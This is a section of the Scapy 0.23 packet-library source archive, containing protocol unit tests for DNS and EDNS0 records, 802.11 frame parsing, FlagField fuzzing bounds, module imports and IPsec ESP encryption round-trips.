b'\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a' + Test DS and DLV RR = DNSRRDS() and DNSRRDLV(), basic instancaition ds = DNSRRDS() dlv = DNSRRDLV(type=43) bytes(ds) == bytes(dlv) = DNSRRDS(), check parameters t = DNSRRDS(b'\x03isc\x03org\x00\x00+\x00\x01\x00\x01Q(\x00\x182\\\x05\x01\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y') t.rrname == b'isc.org.' and t.keytag == 12892 and t.algorithm == 5 and t.digesttype == 1 and t.digest == b'\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y' + Test TXT RR = DNSRR(type="TXT") instanciation t = DNSRR(type="TXT", rdata="test") = DNSRRR(), check parameters t = DNSRR(b'\x04test\x00\x00\x10\x00\x01\x00\x00\x00\x00\x018\xffScapy is an interactive packet manipulation program that enables you to sniff, mangle, send network packets ; test equipments ; probe and discover networks ; quickly develop new protocols. It can easily handle most classical tasks like scanning, tracerout7ing, probing, unit tests, attacks or network discovery.') t.type == 16 and t.rdlen == 312 and t.rdata[:5] == b"Scapy" and t.rdata[-10:] == b"discovery." scapy-0.23/test/dot11.uts000066400000000000000000000154521320561231000152210ustar00rootroot00000000000000# dot11 unit tests # # Includes testing of RadioTap headers # # Type the following command to launch start the tests: # $ test/run_tests -t test/dot11.uts -f html -o /tmp/scapy_dot11_test_$(date +%Y%M%d-%H%H%S).html + Test dot11 + Test different frame types = Basic dot11 ACK frame b = b'\xd4\x00\x00\x00\x00&\x86\xf03f\x8b\xa6\xbd\xd6' p = Dot11(b) p_ack = p.getlayer(Dot11ACK) assert(bytes(p) == b) assert(p.subtype == 13) assert(p.type == 1) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 0) assert(p.addr1 == '00:26:86:f0:33:66') = Basic dot11 BACK frame b = b'\x94\x00\x00\x00\x00&\x86\xf0Dl\x00&\x86\xf02\xac\x05\x00@\xb8\xff\xff\xff?\x00\x00\x00\x00\x9f9@\xf4' p = Dot11(b) p_back = p.getlayer(Dot11BACK) assert(bytes(p) == b) assert(p.subtype == 9) assert(p.type == 1) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 0) assert(p.addr1 == '00:26:86:f0:44:6c') assert(p.addr2 == '00:26:86:f0:32:ac') assert(p_back.Compressed == 1) assert(p_back.MultiTID == 0) assert(p_back.BACKPolicy == 1) assert(p_back.TID == 0) assert(p_back.SSN == 47168) assert(p_back.Bitmap == b'\xff\xff\xff?\x00\x00\x00\x00') # FIXME: test BACK specific functions once implemented = Basic dot11 RTS frame b = b'\xb4\x00 \x02\x00&\x86\xf0Dl\x00&\x86\xf02\xac\xb9\x8c5\xcb' p = Dot11(b) p_rts = p.getlayer(Dot11RTS) assert(bytes(p) == b) assert(p.subtype == 11) assert(p.type == 1) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 8194) assert(p.addr1 == '00:26:86:f0:44:6c') assert(p.addr2 == '00:26:86:f0:32:ac') = Basic dot11 CTS frame b = b'\xc4\x00\xd4\x00\x00&\x86\xf02\xacjE\xee\x11' p = Dot11(b) p_cts = p.getlayer(Dot11CTS) assert(bytes(p) == b) assert(p.subtype == 12) assert(p.type == 1) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 54272) assert(p.addr1 == '00:26:86:f0:32:ac') = Action no ACK frame b = b'\xe0\x00\x00\x00\x00&\x86\xf02\xac\x00&\x86\xf0Dl\x00&\x86\xf02\xac\x00\x00\x15\x00[\x85\xcc\x07\xf3\xdd\xb7\x9c\xd1p\x1c\xc8\xe2\x11\xfc\x1d\x06\x87y\xf3e\xe2b\x82t\x90\xd6Z\xbe^*\x85\x0bu\xb4\xa5\xfa\xebR\xf8\x107\x1b\xa6\x9b2\x86\x0f\x81\xf2]\xa3"s8\x15Z\'.\x152\x88W\x95\xb4\x1e\x11&\xa3x\xd5F\xef\xd5\x912K\x97m5\x1f/\xeb\x92\xf0\xe1v\xeb\x05\xc4\x1e\x88"\x8e\xbb\x15\x80/\x91\xe0\xe1\xfb\x8b\xfd\x1d\x07\xc9\x1d\xb6]\x18\xcf\xb3\xcf\xd8\xdd\xda\xcd\xf1:\xeb\x8d\x19\xaaZ\x99qs\x1dY\x9d\x8b\xdd\x1c,\xd3H\x8e\x9d\xd9\xd1\xa7p\x0c\xac\x0c\n\x1aq\x1b\xc7\xc1\x86\xa0\xa1\x11\xd52-,\x80:Z\x1d\xcd\xf7\x81\x02\x90h\xd5\xdf\xcbr(@\x05\xd2\xd2\x9c]T\x06$\xc2\xb1N\xdbEa\x88\x10\xf0\xbe\xe2e\x16\x8a\xa0{\xe7\x7f^u\xe1L\xaa+\x06\xd8M\x17\xd2\xa4\xb9\xda\x91\xdf\x84a\xcd\x9ak\x15\xf8E\xa0\x95\xad7\xdbpb\x04Z\x1dz\xf3\x19\x18:`\x15\xae8\xe3qb\x02V\xa5\x8bk&7\x1e_\x99\xba9\xa6Sb\xf1\xe5%\xcd[F7\x0e\x9fb\xd6{]ea\x11.&\xee\xd3U5\x16\xe3f\xd68\x95XdQf\xe6l\xdf\xa4\xc7\x02\xa6j\x86\xa3\x8d\x9fu\x8f*\xe2d\x910\x9a\xff\xa8^"\x12Us>\xa0\xa6]\x11\x91-\x14\x04l\x96\t\xd2\\!\x8b\x11#\xd1~\x8d\xc9\xf2$\xf3\x15\xe9\xdf\xd8:\xd0bc\x95p\x8c1\xc2,:\x9a)}\x96eL\xc3_\x99\x93kI\xe74}\x95E\xf6\x9at\x8e\xe2\x93\xd9U\xb7Q\x19)=\xd9}t\x97\xe2\x95\xa2\x97\xa1H7\xadn)\xb7\x1d\x92t\xcb\xca\x93ac\x1e\x1a\xf7\xa0\x8a5v\xda\xb5\xb4G\xb9\x1b\x14\'Yn\xb8X\xb8A\xb5\x96\xd9\xc0G\xb8\xe5\x93\x17B' p = Dot11(b) p_ana = p.getlayer(Dot11ActionNoACK) assert(bytes(p) == b) assert(p.subtype == 14) assert(p.type == 0) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 0) assert(p.addr1 == '00:26:86:f0:32:ac') assert(p.addr2 == '00:26:86:f0:44:6c') assert(p.addr3 == '00:26:86:f0:32:ac') assert(p.SC == 0) # FIXME: extend parsing as frame processing is fleshed out = Single NULL data b = b'H\x010\x00\x00&u\xea\xb6\xd6\xf0\x99\xbf\xed\xa4\xe5\x00&u\xea\xb6\xd6p\xe6\x8fN\x94\x1e' p = Dot11(b) p_n = p.getlayer(Dot11NULL) assert(p_n != None) assert(bytes(p) == b) assert(p.subtype == 4) assert(p.type == 2) assert(p.proto == 0) assert(p.FCfield == 1) assert(p.ID == 12288) assert(p.addr1 == '00:26:75:ea:b6:d6') assert(p.addr2 == 'f0:99:bf:ed:a4:e5') assert(p.addr3 == '00:26:75:ea:b6:d6') assert(p.SC == 58992) = Single QoS NULL b = b"\xc8\x02<\x00\x14\xdd\xa9;\xe6\xd1@\x16~X\xae\\@\x16~X\xae\\\x80'\x00\x002\xd2\x8c\x0f" p = Dot11(b) p_n = p.getlayer(Dot11QoSNULL) assert(p_n != None) assert(bytes(p) == b) assert(p.subtype == 12) assert(p.type == 2) assert(p.proto == 0) assert(p.FCfield == 2) assert(p.ID == 15360) assert(p.addr1 == '14:dd:a9:3b:e6:d1') assert(p.addr2 == '40:16:7e:58:ae:5c') assert(p.addr3 == '40:16:7e:58:ae:5c') assert(p.SC == 10112) assert(p_n.TID == 0) assert(p_n.EOSP == 0) assert(p_n.AckPolicy == 0) assert(p_n.TXOP == 0) = Single QoS NULL with extra padding bytes, TID 4 b = b'\xc8\x02L\x00\x14\xdd\xa99\xe7\xf9x$\xaf\x90T\x84x$\xaf\x90T\x84\xe0 \x04\x00\x00\x00\x00\x01\xbb\x08\xaa\x02' p = Dot11(b) p_n = p.getlayer(Dot11QoSNULL) assert(p_n != None) assert(bytes(p) == b) assert(p.subtype == 12) assert(p.type == 2) assert(p.proto == 0) assert(p.FCfield == 2) assert(p.ID == 19456) assert(p.addr1 == '14:dd:a9:39:e7:f9') assert(p.addr2 == '78:24:af:90:54:84') assert(p.addr3 == '78:24:af:90:54:84') assert(p.SC == 8416) assert(p_n.TID == 4) assert(p_n.EOSP == 0) assert(p_n.AckPolicy == 0) assert(p_n.TXOP == 0) = Single Action ADDBA Request b = b'\xd0\x00<\x00 \xcf0\xb7\x9f\xb8\x00"\xfb\x89\xf2V \xcf0\xb7\x9f\xb80\x13\x03\x01\x01\x00\x00\x02\x10\x88\x13|\x8b\xc9\x9a' p = Dot11(b) p_a = p.getlayer(Dot11Action) assert(p_a != None) assert(bytes(p) == b) assert(p.subtype == 13) assert(p.type == 0) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 15360) assert(p.addr1 == '20:cf:30:b7:9f:b8') assert(p.addr2 == '00:22:fb:89:f2:56') assert(p.addr3 == '20:cf:30:b7:9f:b8') assert(p.SC == 4912) assert(p_a.category == 3) # FIXME: add more confirmation once parsing of the ADDBA REQ is fleshed out = Single Action ADDBA Response b = b'\xd0\x002\x00\x00"\xfb\x89\xf2V \xcf0\xb7\x9f\xb8 \xcf0\xb7\x9f\xb8\x90\xc7\x03\x00\x01\x02\x10\x00\x00@\x06\x1b\xb1j\x0e' p = Dot11(b) p_a = p.getlayer(Dot11Action) assert(p_a != None) assert(bytes(p) == b) assert(p.subtype == 13) assert(p.type == 0) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 12800) assert(p.addr1 == '00:22:fb:89:f2:56') assert(p.addr2 == '20:cf:30:b7:9f:b8') assert(p.addr3 == '20:cf:30:b7:9f:b8') assert(p.SC == 51088) assert(p_a.category == 3) # FIXME: add more confirmation once parsing of the ADDBA RESP is fleshed out = Single Action DELBA b = b'\xd0\x00<\x00T\xa0P\xb4\xf8\x84x$\xaf\x91\xfbl\x00\x00\x00\x00\x00\x00`\x98\x03\x02\x00\x00\x01\x00\x1c\xbe\xd4\xcf' p = Dot11(b) p_a = p.getlayer(Dot11Action) assert(p_a != None) assert(bytes(p) == b) assert(p.subtype == 13) assert(p.type == 0) assert(p.proto == 0) assert(p.FCfield == 0) assert(p.ID == 15360) assert(p.addr1 == '54:a0:50:b4:f8:84') assert(p.addr2 == '78:24:af:91:fb:6c') assert(p.addr3 == '00:00:00:00:00:00') assert(p.SC == 39008) assert(p_a.category == 3) # FIXME: add more confirmation once parsing of the DELBA is fleshed out scapy-0.23/test/edns0.uts000066400000000000000000000044021320561231000152730ustar00rootroot00000000000000# DNS OPT Ressource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/edns0.uts -F + Test EDNS0 rdata = EDNS0TLV(), basic instanciation tlv = EDNS0TLV() bytes(tlv) == b'\x00\x00\x00\x00' = EDNS0TLV(), check parameters tlv = EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv") bytes(tlv) == b'\x00*\x00\x0cedns0tlv' = EDNS0TLV(), check computed optlen tlv = EDNS0TLV(optdata="edns0tlv") bytes(tlv) == b'\x00\x00\x00\x08edns0tlv' = EDNS0TLV(), dissection tlv = EDNS0TLV(b'\x00*\x00\x08edns0tlv') tlv.optcode == 42 and tlv.optlen == 8 and tlv.optdata == b"edns0tlv" + Test OPT RR = DNSRROPT(), basic instanciation opt = DNSRROPT() bytes(opt) == b'\x00\x00)\x10\x00\x00\x00\x80\x00\x00\x00' = DNSRROPT(), check parameters opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV()]) bytes(opt) == b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00\x00\x00\x00' = DNSRROPT() & EDN0TLV(), check parameters opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv")]) bytes(opt) == b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00*\x00\x0cedns0tlv' = DNSRROP(), dissection opt = DNSRROPT(b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x0c\x00*\x00\x0cedns0tlv') opt.rrname == b"rropt." and opt.rdlen == 12 and opt.rdata[0].optcode == 42 and opt.rdata[0].optdata == b"edns0tlv" + Test EDNS-PING = EDNS-PING - basic instanciation tlv = EDNS0TLV(optcode=5, optdata=b"\x00\x11\x22\x33") bytes(tlv) == b'\x00\x05\x00\x04\x00\x11"3' = EDNS-PING - Live test r = sr1(IP(dst="85.17.219.217")/UDP()/DNS(qd=[DNSQR(qtype="A", qname="www.edns-ping.org.")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="PING", optdata=b"\x00\x11\x22\x33")])]), timeout=1) len(r.ar) and r.ar.rdata[0].optcode == 4 # XXX: should be 5 + Test DNS Name Server Identifier (NSID) Option = NSID- basic instanciation tlv = EDNS0TLV(optcode=2, optdata="") bytes(tlv) == b'\x00\x02\x00\x00' = NSID - Live test r = sr1(IP(dst="85.17.219.217")/UDP()/DNS(qd=[DNSQR(qtype="A", qname="www.edns-ping.org.")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="NSID")])]), timeout=1) r.ar.rdata[0].optcode == 3 and r.ar.rdata[0].optdata == "dns01" scapy-0.23/test/flag_field_fuzzing_tester.py000066400000000000000000000044401320561231000213170ustar00rootroot00000000000000## This file tests the changes made to the fuzz function that ## allow it to properly fuzz values for FlagField type fields. import unittest from scapy.all import * class TestingFuzzingChanges(unittest.TestCase): def test_flag_bounds(self): """ This test ensures that the show function fails when a flag value that exceeds the bounds of a given FlagField is or exceeds the result of 2 ^ (FlagField length value). Thus ensuring that the logic used to generate values for FlagField type fields holds. """ tst = IP(flags = 8) with self.assertRaises(IndexError): tst.show() tst = IP(flags = -1) with self.assertRaises(IndexError): tst.show() tst = TCP(flags = 256) with self.assertRaises(IndexError): tst.show() tst = TCP(flags = -1) with self.assertRaises(IndexError): tst.show() def test_ip_fuzzing(self): tst = fuzz(IP()) self.assertIsNotNone(tst.flags, msg="Field value not succesfully generated.") self.assertTrue(tst.flags >= 0 and tst.flags < 8, msg="Fuzzed value exceeds field boundaries.") # Ensure that fuzzing still works if the flags are preset tst = fuzz(IP(flags=7)) self.assertTrue(tst.flags == 7, msg="Fuzzing overwrote specified flag value.") # Ensure that the original issue was fixed try: fuzz(IP()).show() except TypeError: self.fail("TypeError Exception occurred; original issue not resolved") def test_tcp_fuzzing(self): tst = fuzz(TCP()) self.assertIsNotNone(tst.flags, msg="Field value not succesfully generated.") self.assertTrue(tst.flags >= 0 and tst.flags < 256, msg="Fuzzed value exceeds field boundaries.") # Ensure that fuzzing still works if the flags are preset tst = fuzz(TCP(flags=255)) self.assertTrue(tst.flags == 255, msg="Fuzzing overwrote specified flag value.") # Ensure that the original issue was fixed try: fuzz(TCP()).show() except TypeError: self.fail("TypeError Exception occurred; original issue not resolved") if __name__ == '__main__': unittest.main() scapy-0.23/test/import_tester000066400000000000000000000002621320561231000163500ustar00rootroot00000000000000#! /bin/bash cd "$(dirname $0)/.." find scapy -name '*.py' | sed -e 's#/#.#g' -e 's/\(\.__init__\)\?\.py$//' | while read a; do echo "######### $a"; python -c "import $a"; done scapy-0.23/test/ipsec.uts000066400000000000000000002616571320561231000154060ustar00rootroot00000000000000############################## % IPSec layer regression tests ############################## ############################################################################### + IPv4 / ESP - Transport - Encryption Algorithms ####################################### = IPv4 / ESP - Transport - NULL - NULL import socket p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key='8bytekey', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - 3DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='3DES', crypt_key='threedifferent8byteskeys', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - AES-CBC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - Blowfish - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='Blowfish', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - CAST - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='CAST', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ############################################################################### + IPv4 / ESP - Tunnel - Encryption Algorithms ####################################### = IPv4 / ESP - Tunnel - NULL - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key='8bytekey', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - 3DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='3DES', crypt_key='threedifferent8byteskeys', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) * the encrypted packet should have an ESP layer assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-CBC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - Blowfish - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='Blowfish', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - CAST - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='CAST', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ############################################################################### + IPv4 / ESP - Transport - Authentication Algorithms ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, 